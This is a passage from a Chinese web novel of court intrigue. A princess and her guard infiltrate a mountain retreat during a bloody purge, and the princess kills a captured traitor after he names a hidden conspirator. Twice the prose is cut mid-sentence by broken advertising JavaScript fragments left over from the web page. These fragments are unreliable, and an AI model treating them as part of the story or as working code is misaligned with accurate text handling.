花凊趴在骆苕外侧,视线贴着石砖朝外望,望着一溜新鲜雪泥脚印暗骂脏话,灰溜溜爬出去,把脚印一路擦掉,重新归位。 也不知将要发生的血光之灾因何而起,二人就这样稀里糊涂地趴在床榻下。 横竖总不会跟她们两个有关,难道是弟子门生之争? 骆苕心脏砰砰直跳,觉得场面有点滑稽,笑问:“定南将军,我们不小心暴露身份,他们杀进来,你可以以一抵几?” 花凊神气道:“得看我的剑有多快,大嵘没人敢在我面前称第一,殿下说可以抵几便抵几。” 从前,花凊随骆苕出入宫禁护了骆苕两年,却从没将剑拔出过剑鞘对付人,时下说出口的话虽神气自满,心底到底还压着一股拼命的劲。 实况不明,最忌掉以轻心。 外面涌进来的呼声渐疏,兵刃相交的声响却格外清脆,骆苕好似已经听到兵刃割裂皮肉的声响,也好似嗅到了血腥味。 正在此时,外面的房门被推开,有人急速入内,转到床榻的圆几旁,那人触动了机关,轰隆隆开启暗门钻了进去,暗门轰隆隆又恢复原状。 骆苕和花凊面面相觑。 这逃的人,她们只看到了鞋履袍角,却知道是沈觅。 花凊对着石砖上的脚印又暗骂一声,这串脚印留下的位置,第一个出卖的就是床榻底下的人。 骆苕神经被挑了起来,但愿一会儿自己别拖花凊的后腿。 “殿下呆着别动,我出去。” 花凊爬出去,拿脚扫掉脚印,抽剑正正地坐向几步之隔,外间通往卧室的门槛上等人入内。 果不其然。 外间门哐嘡一脚被人踹开,先入内的两个人,身着捕役官府,提着刀巡视房内,在看见一位蒙面人,长剑支地稳稳地坐在门槛上,捕役不由惊跳后撤,架好刀做势拼杀。 “世子,当心!” 两位捕役又同时脱口而出。 花凊站起身,听闻世子,不由寒着脸出口相问:“哪家的世子?” 捕役没答。 花凊没问出个子丑寅卯,但若是官府的人,倒也大可放心了,她和骆苕今夜潜行而来,若能功成身退,不必暴露身份再好不过,不妨先试试。 于是扬起下巴,说:“官大人,我不是雁鸣居的人,今晚凑巧从此路过,你们是否在抓捕沈觅?我告诉你们沈觅逃去了何处,你放了我,如何?” “花小将军。”门外的世子声形同入,眉眼的不安未散,逡巡一眼,一袭玄色利落长袍袍摆一定,“长公主何在?” 握在身侧的长刀,刀刃上的鲜血滴沥下来,沁入石砖。 “凌世子。” 花凊意味深长地唤了一声,不好再说其他,原来他们早就发现自己和长公主来了雁鸣山,一身夜行衣都难以掩饰,早知变一变声线试试,转身入内对骆苕说,“殿下,是凌世子。” 还趴在床榻底下的骆苕,早已听到凌承佐的声音。 凌承佐,是她很不想见的一个人,每回这个人的出现,都是在她极度焦躁无能的时候。 白氏一族入狱,骆苕无能相救,明明猜到凌晖有异心,焦心无实证对自己的父皇诉说。 凌承佐却在那段时间,频繁出现在她的眼前。 骆苕爬出去,连蒙面巾都未摘,侧身经过凌承佐,脚下一顿,冷声只说:“从床榻旁的暗门逃了,留沈觅活口。”抬步跨去门外。 凌承佐神色不辨,吩咐捕役:“去告诉凌五郎,长公主找到了。”望着手中滴血的长刀,寒森下命,“活捉沈觅,拿不住,提你们自己的头来见。” 捕役得命一拥而入,去开机关。 99. 第九十九章 捕役举着燎亮的火炬,正张牙舞爪捕杀雁鸣山四处逃窜的弟子门生。 出了房门的骆苕脚下如同灌了沉铅,立在屋前没再前行,摘下蒙面巾看向跟出来的花凊。 花凊扫视着周遭七零八落的尸体,再和骆苕一对视,缓缓拉下蒙面巾万般诧异:“他们不该是为了找殿下,血洗雁鸣山吧?” 这可太劳师动众,滥杀无辜了。 骆苕背过身,视线避开那些尸体。 花凊往骆苕那面挨近,将视线遮的严实一些,想了想,重新下结论:“他们带着捕役血洗雁鸣山,看样子是为公差,不干殿下的事。” 再则人都毫发无伤地已经找到,他们杀戮却如常进行,都没带停顿。 骆苕只“嗯”了一声,一时脑中混乱也说不了什么,等见着凌文袤再问个仔细。 还在屋内的凌承佐,见捕役手忙脚乱找到机关,暗门轰隆隆打开。 他定睛在尚能窥见一隙的床底石砖片刻,转身离去。 出屋之前收刀入鞘,在门前踱步打量了二人的夜行衣几眼,一扫方才的杀气,闲笑道:“长公主和花小将军兴致勃勃夜探雁鸣山,可山脚下的马却没能栓好,让它撒欢跑回了凌府。下回,你们可仔细些,别漏出马脚让我们连夜搜城又搜山。” 花凊心头一跳,扭头看骆苕再次下结论:“殿下,是你的没栓好。”自己习惯打行军结,马儿越蹿越紧,马困死在树上也跑不了,除非缰绳折断。 殿下的那匹就不好说了,不是自己经手,实在疏忽大意。 骆苕吞气噤声,若是马没栓好定是自己没错了,花凊肯定不会犯下如此错漏。 凌承佐见面壁的骆苕没出声,不动声色地指使一旁的几个捕役,让人抬走屋前那几具死相惨烈,面目狰狞的尸体。 花凊指了指尸体顺着搭话:“凌世子,这是怎么回事?杀这么多人,想必不是为了搜寻殿下。” 远处熊熊火光靠近,凌文袤由远及近,一身还未来得及换下的茶白衣袍,血迹横溅袍裾,腰间坠着的玉钱吉络,随着阔步一荡一荡,周身腾腾的杀戮之气被火光托至顶点。 那张脸此时阴沉凶煞,看样子能开天辟地。 凌承佐迎着来人,双臂背向身后,答了花凊所问:“沈觅虐杀雁鸣居士李潜,又勾结外敌,今晚,我与五弟秉公围剿雁鸣山,雁鸣居内的众徒,一概不留。” 骆苕眨了眨眼回过身,思绪却囤在了胸腔,劈面而来的是凌文袤剥皮抽筋查验的眼神,从头到脚,又从脚到头无一落下。 查验完,凌文袤伸手去擒骆苕的手臂,花凊一把想挡开:“凌五郎,殿下好得很。” 凌文袤顺势翻腕一个推手,将花凊推了个趔趄,嗤一声直视骆苕的双眼,这才舒出一口长气,扶着后颅按人入怀,以作安抚。 也不知是安抚自己还是安抚骆苕。 不过半瞬后撤半步,凌文袤将手中凝血的长刀往骆苕手中塞:“来,这么喜欢替人排忧解难,先去劈几个人试试。” 午时,凌文袤见骆苕在校场玩得起劲,便容她顽耍,还答应她将看护她的葛七撤离,岂料,她趁着月黑风高跟花凊二人上了雁鸣山。 凌文袤留给骆苕的枣红骏马,独自在城内横冲直闯跑回凌府,还在凌府议事的人,第一次魂惊得没了去。 人不见,马儿却跑了回来,对一个武将来说,这就是一道夺命符。 城内盘查过后一路顺藤摸瓜,倒也有了点眉目,花凊的马匹安安静静还栓在树干上。 巧就巧在,今晚他们也正好要上雁鸣山。 骆苕摇头,望着已经塞进手里的长刀目光躲闪,唇角抽搐不好意思道:“不会。” “不会?”凌文袤转到她身后,双手覆在她的手背紧紧握住,“不会我教你,包你今晚出师。” 凌文袤旁若无人的行径,令花凊眉头深陷,蠕动双唇瞭了眼凌承佐,只见凌承佐垂着眼,说了一句,“贤弟,我去拿沈觅。” 转身入了屋内。 今夜注定无眠。 凌文袤眼风收回,缓缓松开覆着的手掌,瞥一眼花凊,在身后握住骆苕的双肩,坦然直道:“骆苕,沈觅多年前受白言霈所托,入雁鸣山看顾白幼黎,沈觅是他们兄妹二人在大嵘的眼线,也是帮手,帮他们联络大嵘已有二心的权贵,他们企图勾结东刕,覆灭凌氏。” 停顿后,说,“只是还未查明沈觅联络的是哪些权贵。” 骆苕手中的长刀悄然落地,从石阶上滚下去,她想到沈觅书房炭盆内的灰烬,此时才想到沈觅的家世,遂问:“沈觅出身杏林之家,他何以堵上全族的性命去做内外勾结的细作?” 凌文袤圈带着人朝屋内去:“沈氏并不待见这位身份存疑的沈二郎,听闻沈觅是他母亲私通外人所生,他母亲前几年郁郁而终,沈氏愚笨之处在于,未将沈觅从宗谱上除名,只是赶他出沈家,沈觅对他的父亲有恨。” 骆苕心中黯然,沈觅未从宗谱上除名,经此一遭,抓住沈觅,沈觅不但自己丢掉性命,沈氏宗族还会因沈觅遭株连。 杏林世家的沈氏,因沈觅一人就此湮灭。 还有雁鸣山的一众弟子门生,宁可错杀不可遗漏,凌晖命凌承佐和凌文袤清剿雁鸣山,一个都不能放过。 推骆苕跨入门槛的凌文袤又轻松道:“你拼死护下兄妹二人的性命,到头来成了阴沟里的蠹虫,如今,只有斩断白言霈在大嵘一切可联络的据点,方可安人心。”他俯下身在她耳畔轻说,“或者,手刃白言霈兄妹。” 骆苕低垂着螓首,想着过往,想着散落在中州的那些精卫,想着行刺凌文袤和凌承佐的那些精卫,又想着白言霈对她说过的那些话,原来白言霈早就在大嵘暗结珠胎。 她停留在原地伤怀的时候,白言霈却一直在前行。 “凌宪。”骆苕望向开启的暗道,只余问无可问的一问,“李潜死于沈觅之手?” 凌文袤转去她身旁,只淡淡地“唔”了一声。 李潜确实死于沈觅之手,这则消息凌文袤也是晌午回凌府才知晓,并从父亲凌晖口中得知沈觅和东刕人有通联。 只是沈觅并不知道李潜和凌晖是多年老友,李潜没死在凌晖之手,却蹊跷地死在雁鸣山的丹炉里,凌晖自然仔细彻查。 暗道内有捕役手执火炬出来禀报:“世子,沈觅已在暗室束手就擒,属下们到了暗室,他正在焚毁证据。” 凌承佐回过身,说:“你们随我一同入内。” 一行人下暗道,抵达局促的暗室,一股烟熏火燎的气息扑鼻而入,骆苕和花凊跟在最后面。 从里头出来几个捕 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沈觅俊雅的脸庞未见波澜,像看蝼蚁一般扫视众人,定眼看了骆苕后低下头,没有言语阖上眼。 凌承佐并不意外沈觅的反应,拿卷着的画卷抬起沈觅的下颌,说:“看来你想要活的。” 此时,骆苕越过凌文袤,像凌承佐一样蹲在沈觅跟前,语音萧萧:“沈觅,你抱着求死的决心烧毁了证据,想必也不会透露半分,所以,你已经没有价值,我不会让他们杀你。” 沈觅睁开眼,不可思议地看着骆苕,嘲笑一声:“长公主,真是宅心仁厚,不过沈某可是个小人,沈某代青苒给你传句话……” 他笑了又笑,笑声最浓时,他轻轻说,“青苒一定会让你去死……” 凌承佐扼住沈觅喘气的脖颈,紧到不能再紧,慢慢沈觅俊雅的脸颊渐渐发紫,经脉凸显,眼球充血。 “凌世子,放手。” 骆苕看向凌承佐,凌承佐对望过去,只一瞬,骆苕移开眼,听见沈觅呛咳粗喘的声音。 二人同时站了起来。 凌文袤正对着案上的那摞画作出神,甫一放眼望向起身的二人,拢了拢眉,操起一副画作,磕在掌心悠闲道:“有劳沈二郎留了这么些传神的画作给我们,你舍不得烧,正合我们的意。今日起,我将这些画作从暗渠分发给东刕各部入京的人查看,只要他们将白幼黎暗中掳回京都,我便赏谁赏金万两,并许他们豪宅美姬。” 说完,凌文袤还拿指弓得意地掸了掸画作。 这完全掐中了沈觅的命脉,抬起头恶狠狠地盯着凌文袤:“你们简直痴心妄想,东刕人器重白兄,怎会允许让人掳走他的妹妹!” 凌文袤居高临下向沈觅撇下一眼:“掳走他的妹妹,怎么还会让她兄长知晓?” 倚靠在暗道壁的花凊,喃喃添话:“知道了那就不叫掳,叫抢。不过东刕地阔天长,民风自由,抢亲也时有发生,并不奇怪,悄无声息掳一个人,更不奇怪。” 又凑到骆苕身旁,对凌承佐作揖道,“沈二郎横竖已经没有价值,长公主说留便先留着吧。” 凌文袤转身出去,冷冷的声音轻飘飘轧过局促的暗室:“杀了,长公主留的尾巴已经够多。” 100. 第一百章 凌文袤说,她留的尾巴已经够多。 骆苕的心也如同灌了沉铅,他在指责她当初救下白幼黎,放了白言霈。 可是,即便没有白言霈和白幼黎,异心的权贵也会用自己的方式躲在阴沟里,暗中窥视凌氏。 现在只不过白言霈入了东刕,知道了那些企图勾结东刕的异心权贵是为何人,并不是异心权贵消失不见。 骆苕看向花凊,勉强牵了牵唇角,坚定地说:“你陪我留下。”转向凌承佐,目光垂地,“凌世子,容我和沈觅说几句话。” 炬火在她眉宇间跃动,勾勒出飘忽怜人轮廓,净透的脸颊染上暖色,火光游曳,鼻尖点缀一点华泽。 多年后,凌承佐第一次在如此近的距离,大方正正地深视骆苕,她没像几年前那样急于恼怒,急于避离。 凌承佐清楚记得自己初次见骆苕时的情景,似乎很久远,却又很亲近。 当年的孝玄帝骆炜诠疲于四方征伐,多年无出,为平北方反乱重要军镇,携皇后慕容瑾至副都竼城,那时的慕容瑾独宠后宫,终于在那一年的腊八诞下嫡女骆苕。 皇帝诞女,阖宫上下悬灯结彩,鼓乐齐鸣。 消息传至大嵘各个角落,孝玄帝骆炜诠因此大赦天下。 到了年尾,皇女宜见亲朋后,四岁的凌承佐和兄长凌承弘,随母亲昭阳公主入宫探望襁褓中的小人。 襁褓中的小人,粉粉嫩嫩,圆润可爱,举着双拳香甜睡着,睡梦中水灵灵的小嘴巴时不时咂几下,凌承佐也会跟着动一动唇。 那场景,谁人见了都觉的有趣。 碍于皇女需要安静休息,匆匆打了个照面便被乳母抱去了偏殿。 年末颂岁,长辈们总有讲不完的闲话,客套不完的礼节,听得凌承佐昏昏欲睡。 玉琢瓷雕般的骆苕在偏殿的摇篓里恬睡,只看过骆苕一眼的凌承佐悄悄溜进去,接替乳母一下一下,轻柔地荡着骆苕。 孜孜不倦,安然祥和。 那时所有的一切都呈现出和美无暇。 之后,凌承佐的母亲昭阳公主病故,父亲很快另娶他人,一母同胞的兄长凌承弘战死,大嵘时运扭转。 凌承佐成了需要挑起凌氏大梁的世子,还会成为接替大嵘的皇太子。 时过境迁,岁月磋磨人性,一切物非人非。 暗室内,不同寻常的静默,连躺着的沈觅都察觉端倪,嘲讽的嗤笑挂在嘴角。 花凊怎会察觉不到,暗暗嗟叹一声,话音还是极力维系寻常:“凌世子,我留下陪殿下,您还有什么不放心的么?沈觅被捆成样那样,料他也动不了。”顺势过去拿走捕役手中的火炬,吩咐捕役,“你们把画卷拿出去。” 捕役未得到凌承佐的命令,自然不敢动。 骆苕耐性消耗殆尽,抬头掀开眼皮斜睨凌承佐,视线碰撞后,凌承佐扬袖招呼捕役,转身离去。 骆苕对着离开的背影深深蹙眉,他想在自己眼睛里找寻什么? 花凊环顾四周,将书案拖出一条缝隙,把火炬夹在缝隙,又用案上铜灯台顶稳火炬,拍拍手上的灰尘,站向沈觅脚前,静等骆苕发话。 暗室内沉寂如烟。 火炬的活焰熏着墙角,耀武扬威地窜动,已然熏出一道擦拭不掉的青痕。 “沈二郎,重金之下必有勇夫。”骆苕不扬不抑,徐徐开口,“你很清楚东刕人唯利是图的脾性,若花重金让他们掳走青苒,并非不可行。不过,我和你一样,不希望青苒被掳,并会阻止凌五郎去施行掳掠之事,你,大可放心。” 骆苕不得不承认凌文袤所用之计对沈觅很奏效,凌文袤猜准了沈觅对东刕人的顾忌。 沈觅没有因骆苕的话动容,轻慢着说:“长公主这是在向我示好吗?可惜啊,循循善诱对我没用。” 他不会透露她想要的半个字。 骆苕疲倦地点了点头,坐上案面,望着地上的灰烬,谁也不知此时的她在想着什么。 只见她慢慢抬眼看向沈觅,思绪却还在远方,眸光虚散没有视焦,悠悠说道:“沈二郎,我很想知道你的师傅李潜,私底下究竟是一个什么样的人。在外,名噪京都城,乃至四海,私底下会对你很苛责?还是对你常常毒骂?致使你心生怨恨,令他殒命炼丹炉?” 躺着的沈觅心中颤动,他不料骆苕会说这些他不愿碰触的真相。 骆苕替他细细回答:“不论李潜私底下为人如何,我猜,沈二郎的师傅李潜,是个惜才的人,沈二郎入雁鸣山不过三年,便能得到他的认可,让你做了他传承衣钵的弟子,这很难得。外人都道你资质浅薄,难承李潜的衣钵。” “你是否想极力证明自己的才能,才急于杀了李潜?” 骆苕只能将方才凌文袤对她说的零星碎片,和从前听来的拼凑起来,当做一则可用的信息。 沈觅带血的唇角溢出一丝苦笑,像絮念一件匪夷所思的事,将死之人,有些事还有什么不能说的呢,总要找到一道出口来宣泄心中的不甘和愧怍,他吞掉唇边的惺气:“师傅李潜啊,他心怀苍生,对我们这些门生宽宥有度,从不责骂,他是一位很好的医者,救过的人车载斗量。也确实是一位极其爱才的人,是我利用了自己的才华,博取他对我的信任,才坐上他大弟子的位置。不妨再告诉长公主一件事,我为了得到这个位置,一年前,把我的师兄推下山崖,粉身碎骨,谁都不曾怀疑是我。” 说完,沈觅看着骆苕的反应,但从骆苕脸上看不到一丝的惊讶。 “所以,你做的这一切是为了青苒?” 骆苕聚焦在沈觅的眼眸,见他不答,只是似笑非笑地看着自己。 她又说,“还是为了向你的父亲证明,你将来会胜过他。” 被骆苕后半句切中要害的沈觅,敛去笑容,死死地盯着她,胸中愤怒在这一瞬呼之欲出,紧紧攥着胸前拳头。 骆苕了然,没有惊讶自己猜中要害,叹息慢道:“沈二郎胸中有怒,说明很在意你的父亲,今夜过后,沈氏一族因你遭株连,你应该会预想的到。” 一顿,“其实,这不是沈二郎想要的结果。” 沈觅咬着牙,血气上涌。 确实,这并不是沈觅想要的结果,他想要日后助白言霈完成覆灭凌晖的大事之后,让自己的父亲跪在他的面前摇尾乞怜,而不是现在无疾而终的结果。 “你别费心思在我身上,我不会告诉你任何想要的线索。”沈觅低吼出声,充血的眼角几欲滴血。 火光照亮他的双眸,犹如烈火在燃烧。 “我知道。”骆苕垂首,说得平和,“我知道你不会告诉我,这是我们生平第一次也是最后一次交谈,我只希望心平气和地和你叙说闲话,不求其他。” 沈觅低笑两声,仍是不信:“现在你的舅父慕容霆彦进退两难,卖国求荣的长公主再不拿出点本事献媚于凌氏,恐怕长公主唯有卖身求荣了。” 骆苕对于讥诮心如止水,一旁的花凊蹲下身,直接在沈觅脸上扎实呼了一巴掌,脆脆的声响回荡在暗室,花凊替骆苕讥讽回去:“你连你母亲的坟都卖了,还嘴贱。” 遭株连的人,怎会允许坟寝永固,祖坟一概抹去。 沈觅因花凊四两拨千斤的讥讽,急火烧心,一口鲜血喷溅而出,幸而不是朝着骆苕而去,若不然花凊还会出手。 骆苕沉眉良久,抬头真诚道:“我会为沈二郎的母亲,重新殓葬,至于葬在何处,沈二郎说与我,我替沈二郎去办。” 沈觅咽下血水,不可置信地望着骆苕:“我说过,你休想从我这里得到半点信息。” “嗯。”骆苕平静地说,“我没有想与你交换筹码的意思。” 沈觅心如刀绞,在这一刻他竟然信了骆苕,狠狠吐出:“沔水旁,枬山脚下。” “好。”骆苕轻轻应下,又问,“沈二郎钦慕青苒,钟情青苒,你方才说日后她一定会杀了我,想必我和她会有再见的那一日,你可有话让我代传给她?” 沈觅仰望头顶的石壁一会儿,阖眼不再言语。 暗室又轮回到沉寂。 骆苕静坐过后,从靴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中取出短刀,握紧刀柄,退去刀鞘,望着雪刃泛起寒森的水光凝神一会儿,她起身,过去蹲向沈觅身前。 颤抖着送向陌生的脖颈。 花凊惊恐地蹲身握住骆苕不安的手,盯着骆苕认真的侧颜:“殿下,你这是……若要就此杀了他,花凊可以代劳。” 她的殿下从未亲自杀过人。 花凊永远记得第一次杀人的滋味,那滋味会伴随很长很长时间,即便多年后叱咤过疆场,但第一次杀人,五感永远存在心里,每每想起,都历历在目。 那滋味犹如慢性酷刑。 沈觅在花凊的话音中看向骆苕,只觉骆苕握刀的手臂颤得厉害,纵使被人稳住了手。 “花凊。”骆苕声中带着不常见的威仪,“你让开。” 花凊懵楞一刹,知道骆苕的决绝,于是放开五指,默默起身,心情异常复杂。 沈觅再次不可思议地看着架在眼前的短刀,说:“长公主没杀过人?其实也不必勉强,沈觅终归会死,何须你亲自动手。” 骆苕缓缓吐出含在胸腔一口的破碎,话音冷静的可怕:“我知道你会死,你我素昧平生,只是想亲手送你干净的一程。” 骆苕知道他们会用各种刑具逼问他,折磨他,直至断气,即使从他身上逼问不出什么。 她似乎在给将死之人给予安慰,也似乎在安抚自己搏动过于激烈的心脏,空灵地念叨:“人生总不尽人意,沈觅,过往不究,来生愿你我做那无根的溪流,奔向可容纳百川的沧海,自由徜徉。” 他会是她第一个杀的人,她会用记忆祭奠他。 沈觅再次咽下血水,抬眼看着骆苕同样颤抖的眸光,强撑着抬起身体:“你过来,伏在我耳边。” 骆苕探身过去,却被花凊拦住,二人对视后,花凊冲骆苕摇了摇头,示意危险。 沈觅见状哈哈大笑:“原来死前践行可以这般有趣。” 骆苕警告:“花凊,你让开。” 花凊双手握拳,退开半步,骆苕觉得不够,命她站在入口不得靠近,花凊内心如江海翻腾,退去入口处。 骆苕将耳朵贴近沈觅的嘴边,咽了咽发涩的咽喉,细细的气流流转在脸颊,沈觅双眼望着花凊,笑了笑,又深嗅一息,轻说:“代我转告青苒,我知道她一直在骗我,她只是想利用我。” “好。”骆苕当即退开身,沈觅嗅着远去的气息,望着笨拙后退的人,眉心微不可查地一皱,唤住,“等等,再靠近一些。” 骆苕攥了攥刀柄,再次贴近,鼻腔内充斥着血腥味,耳边是灼热生人的潮气,听见沈觅用气声对她说了一个名字——独孤解。 骆苕瞳仁紧缩,惊滞着没能动弹一下。 任谁都想不到的异心权贵,这个时候,骆苕告诫自己不能轻信沈觅,或许是沈觅临死前故意编纂,借她之口来挑起凌氏的内斗。 内斗初显矛头,可还没到兵刃相见的时候。 这个名字在凌承佐心中分量太重,独孤氏全族拥戴凌承佐。一旦出口,她有助凌文袤屠戮凌承佐羽翼的嫌疑。 她要将这个人的名字,不偏不倚地告诉凌晖,如何不偏不倚她还没想好。 今晚,只当自己送沈觅干净的一程,有无答案都无关紧要。 她在用自己的双手,亲自绞掉留在大嵘的尾巴。 沈觅很满意骆苕僵直的反应,唇面贴着她的耳廓似有不舍,他闭了闭眼脱离,缓缓仰起脖子,送给她一个趁手的姿势。 骆苕双手握紧刀柄,使劲闭上双眼,用尽全身力气,双臂狠狠挥向沈觅。 利刃很快,鲜血喷薄而出,霎时染红骆苕的脸颊。 细碎的流淌声疯狂掠夺骆苕的五感。 她木讷地朝一旁丢掉短刀,瘫坐着睁开眼,望着汩汩而出滚烫的血液,整副身躯如堕冰窟。 沈觅死了。 沈觅死前竟不合时宜地想起法家韩非子所言:火形严,故人鲜灼,水形懦,人多溺。 女人如水,溺人于无形。 甘之如饴。 101. 一百零一章 人苟活于世,心有所牵,心有所挂,有在意的人和事。 沈觅怀恨父亲听信谗言不辨是非的态度,痛心郁郁而终的母亲,他明明知道骆苕用这些他在意的东西对他循循善诱,却还是在临死前透露了异心权贵的名字。 沈觅这挫败不堪的一生,留下的全都是不甘。 临死之前,只有骆苕同他叙说他所在意的这些,骆苕的寥寥数语能算作告慰吗? 不,只能算顺耳。 他这一生犹如他的身世,已然扭曲,永世告慰不了。 死前能听得顺耳的几言,犹如吉光片羽。 对白言霈背信弃义,对白幼黎爱而不得,那又有何关系,这个天地已经没有他的立足之地。 暗室内,花凊一把将骆苕抱起安坐在案上,挡在骆苕前面,四下飞速瞅了瞅,实在没发现可擦拭的物什,卷起衣角替骆苕擦掉脸上的血迹。 找话分散骆苕的注意力:“殿下,一会儿下山,你去我宅里,咱们架火烤羊吃酒,我那兄长从中州府别的没带,胡吃海喝的器具倒一样没落下,吹拉弹唱的也没落下,今晚让他全部上齐给我们安排上,殿下还可以让他献舞扭上一段,他什么都会。” 花凊那个兄长喜珍馐美馔,喜雅俗音律,喜长袖弄舞,在中州府,明着四处撒欢玩,被押在京都城,躲在宅邸继续玩。 两耳不听窗外事,一心只偷浮生闲,好生快活。 每日还不能间断,若是断了这些,如蝼蛄啃噬般难受。 骆苕仰头冲花凊还能笑:“你兄长扭得好看吗?” “好不好看,反正我是看不出来,得殿下过目才能分出个美丑来。”花凊挤挤眼跟着笑,“我先背殿下出去。” 骆苕低下头认真思考,脑中高速运转,所有的事太过零碎,在她心里是一片乱象横生的景象,她觉得自己应该改变之前的想法,抬头吩咐:“花凊,你去叫凌世子和凌五郎进来。” 骆苕要当着二人的面,将沈觅方才说的独孤解,企图勾结东刕的事直接告诉他们,他们所掌握的线索总要比她要多。 凌晖如今让凌承佐归拢京都城的人脉,凌承佐又事事带上凌文袤,说明当下他们需要站在同一条战线。 凌晖所想当是如此。 孝玄帝骆炜诠屠戮宗亲,乃至覆国的教训还未远去,骆苕却提前反复预演凌承佐和凌文袤相斗。 她不该那样无休止沉陷在悲观里。 昨夜,骆苕问凌文袤可想要那个皇位,凌文袤回答她的是日日都会想,这让她不知所言。 骆苕再深想,想要皇位和实施抢夺,差着许多必要条件。 凌文袤为了军功,还没有任何行动,甚至在退,若不然凌文袤不会在这个时候选择离开京都,携她去玉磐宫。 骆苕嘲笑自己,确实如凌文袤说的,胆小如鼠,想的却多如牛毛。 花凊回身望了眼沈觅的尸身,迟疑着建议:“殿下不如出去再议。” 骆苕摇头平静地说:“我无碍,你去便是,只让他俩入内,旁人一概不准放进来,你在门口守着,若有人相问,你不用作答。” 此时她确实没在怕,同时也很小心谨慎,出了这道暗门,外面人多眼杂,随凌承佐上雁鸣山的人里面极有可能有独孤解的人。 沈觅生死不明,在暗室内待的越久,外面的人会越焦急,怕沈觅泄露出什么不该说的。 独孤解是否为沈觅编纂,还是真有异心,凌承佐最易察觉。 独孤解,大嵘的八柱国之一,有威望有地位,倘若凌氏不堪重任行差踏错,独孤解确实有能力镇得住臣工,只要他肯踏入朝堂。 年逾六旬的独孤解精神矍铄,退在朝堂之外有些年数,安居在家宅入道修仙,时不时前往各地深山道观寻仙问道,在外人看来他已无心朝堂,全族拥戴凌承佐在外人看来也是顺应时运。 其嫡子独孤颂在京中当的是一职闲差——小司木下大夫,以辅佐司木中大夫。还有一子独孤敷,以谋士的身份跟在凌承佐身边去往傕州,亦师亦友。 小司木下大夫这个职位,使骆苕联想到白言霈和白言霈的祖父白明绪,白言霈曾任司木中大夫,白明绪曾任冬官大司空一职,掌土木、水利。 千丝万缕如蛛网交织在骆苕的脑中,她扫过花凊离去的背影,定睛在沈觅惨白如纸的脸上。 将短刀伸向沈觅时,心底最为恐惧,挥刀后只余下木然平静。 脚步声焦促沓来,两道人影相继入内。 凌文袤震撼于自己眼里看见的乌七八糟的场景。 骆苕勾腿坐在案上,垂下的脑袋没抬起来,脸颊、耳后、前襟能清晰的看见上面的污血。 地上,面目祥和的尸身,零落的短刀和刀鞘,血液痴缠着一堆灰烬。 凌文袤箭步上前,擒起骆苕的双手查验两遍,再捧起她的脸来回巡视,对视后深深叹息,扶过她的后颅靠在自己的身侧无声静默。 她做了自己意料之外的事,此时的胸口堵得难以适应。 适才最先出去,不过是将沈觅留给她审问,凌文袤知道她有话问询沈觅,或许没有旁人在场,真能从沈觅口中撬出点有用的。 只是从没想过,她会亲自手刃沈觅。 花凊出去横斜凌文袤的那一眼,已经将沈觅是谁下的手告知得明明白白。 凌承佐也未料沈觅死了,眼前逼仄暗室内拥堵无声的画面,窒人鼻息。 花凊寒声请人入内,他还在想沈觅见到骆苕第一眼,一丝都未起惊讶之色,犹如老友相见,彼此相熟。 无暇远虑,也无眼多看那静默相依的二人,凌承佐望向火炬,颈侧的血脉无声搏动,平声问正事:“长公主唤我们进来,可是沈觅已告知勾结外敌的内贼?” 凌晖最初只查到沈觅,很早便和东刕人来往过甚,沈觅借雁鸣山身份之便,低价卖给东刕人药石仙丹。李潜蹊跷而死,作为李潜老友的凌晖大力彻查,从东刕人这面入手,使以美人计将东刕人灌醉,从枕边终于将话套出三言两语来。 抽丝剥茧,便有了今夜血洗雁鸣山的事。 骆苕冰冷的双手被禁锢在掌心,挣脱出双手推开凌文袤,让他去到一边,她在凌文袤和凌承佐之间来回打量,沉声平和道:“沈觅让我亲手杀了他,还让我将她的母亲重新殓葬,才肯告诉我,我都答应了。他说,那个内贼是独孤解。” 她不偏不倚不带个人情绪,将独孤解这个名字说了出来,真伪让他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自我分辨。 炬火缭绕,一室寂然。 凌承佐果然神情凝滞,凌文袤亦是一愣,片刻后二人不约而同地相视对望一眼。 独孤解,任谁都想不到。 信与不信非在瞬息。 骆苕垂下头又说:“沈氏诛族之后,将沈觅母亲的尸骸殓葬去沔水旁,枬山脚下,顺便将沈觅的尸身也葬在他母亲的身旁。” 没有价值的死人,谁都不会在乎,她只是将自己能做到的做完。 凌承佐思绪飞檐走壁,每一处落脚点都狠狠踩在独孤解这个名字上,过往种种无一疏漏,一旦怀疑的种子扎下去,信任的链锁开始土崩瓦解。 炬火从凌承佐狭长的凤眼划过,他慢慢阖上眼,再睁眼,眸光清亮,清亮得过于犀利,唇边还衔起一枚笑,扫过一眼凌文袤空荡的双手,从自己的刀鞘拔出长刀,递给凌文袤,说:“有人不想看我们兄弟和睦,今日就做给他们看。我执意留沈觅活口,你为了长公主,情急之下杀沈觅泄私恨,你我起了争执,我被你抽刀砍伤。”又深深望了一眼坐在案面的骆苕,“之后,贤弟连夜带长公主去玉磐宫,京中暂时留给我。” 独孤敷平日里在凌承佐耳边提醒,当时时提防凌文袤,还说此次回京,该适时除掉凌文袤。 独孤敷一直为凌承佐殚心竭虑,凌承佐念他忠诚,从未想过其他,只当独孤敷急于求成,才目视不远。 时下凌氏根基未稳,朝堂杂政繁絮,凌氏还需仰仗凌文袤和他的母族,除掉凌文袤的时日还不在日程之上。 方才骆苕的一席话,将独孤敷一族推出水面,所有在独孤敷身上的疑点都有了解释。 鹬蚌相争渔翁得利,独孤敷的父亲独孤解这个渔翁,想要的是大利,眼光长远的很,借凌承佐之手先除掉凌文袤,打乱凌氏格局,凌承佐本来就是世子,得承大位名正言顺,但背后的势力犹如散沙,在父亲凌晖的帮扶下,成气候需要很大一些时日。 这些时日,便会成为旁人利用的空挡。 独孤解通过白言霈勾结东刕,同时刺激了凌承佐和凌文袤的认知。 不论真假,总要试一试,兄弟二人成水火不容之势,但又不会真心除掉彼此,看独孤解如何应对。 凌文袤望着递来的长刀没接,嗤笑一声,有所抗拒:“每回不体面的都让我做尽。” 凌承佐摇头讪笑:“我倒真想砍你,砍了你,你不砍回去,在外人眼里不像你一贯的作风,兄长我,要靠你博得一点贤名。你可会给?” 所以,这一刀直接一点,凌文袤砍凌承佐最合适。 表象,凌承佐不追究凌文袤砍他一刀的过错,做一位外人眼里的好兄长。 